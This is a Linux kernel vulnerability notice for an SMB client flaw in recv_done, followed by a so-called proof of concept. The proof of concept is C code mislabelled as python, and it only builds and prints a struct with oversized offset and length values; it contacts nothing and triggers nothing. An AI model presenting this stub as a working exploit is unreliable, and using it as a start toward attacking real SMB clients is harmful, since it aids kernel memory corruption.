In the Linux kernel, the following vulnerability has been resolved:
smb: client: let recv_done verify data_offset, data_length and remaining_data_length
This is inspired by the related server fixes.
The following code is for security research and authorized testing only.
python
// CVE-2025-39933 PoC - Conceptual demonstration
// This vulnerability is in Linux kernel SMB client's recv_done function
// The issue is lack of validation for data_offset, data_length, and remaining_data_length
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// Simulated SMB response header structure
struct smb2_transform_header {
uint8_t protocol_id[4]; // 0xFE 'S' 'M' 'B'
uint32_t header_length;
uint64_t session_id;
};
// Simulated malicious SMB response with invalid data_offset/data_length
struct malicious_smb_response {
uint32_t data_offset; // Intentionally set to invalid value
uint32_t data_length; // Intentionally set to oversized value
uint32_t remaining_data_length; // Intentionally set to invalid value
uint8_t payload[256];
};
int main() {
struct malicious_smb_response *resp;
resp = (struct malicious_smb_response *)malloc(sizeof(struct malicious_smb_response));
if (!resp) {
return -1;
}
// Craft malicious values to trigger the vulnerability
// These values would cause out-of-bounds access in recv_done
resp->data_offset = 0xFFFFFFFF; // Invalid: exceeds buffer
resp->data_length = 0xFFFFFFFF; // Invalid: exceeds buffer
resp->remaining_data_length = 0xFFFFFFFF; // Invalid: exceeds buffer
memset(resp->payload, 'A', sizeof(resp->payload));
printf("Malicious SMB response crafted\n");
printf("data_offset: 0x%X\n", resp->data_offset);
printf("data_length: 0x%X\n", resp->data_length);
printf("remaining_data_length: 0x%X\n", resp->remaining_data_length);
// In a real exploit, this response would be sent to a Linux SMB client
// causing kernel panic or memory corruption in recv_done
free(resp);
return 0;
}
// Note: Actual exploitation requires:
// 1. A malicious SMB server or MITM position
// 2. Linux kernel with vulnerable smb/client code
// 3. Triggering recv_done with the crafted response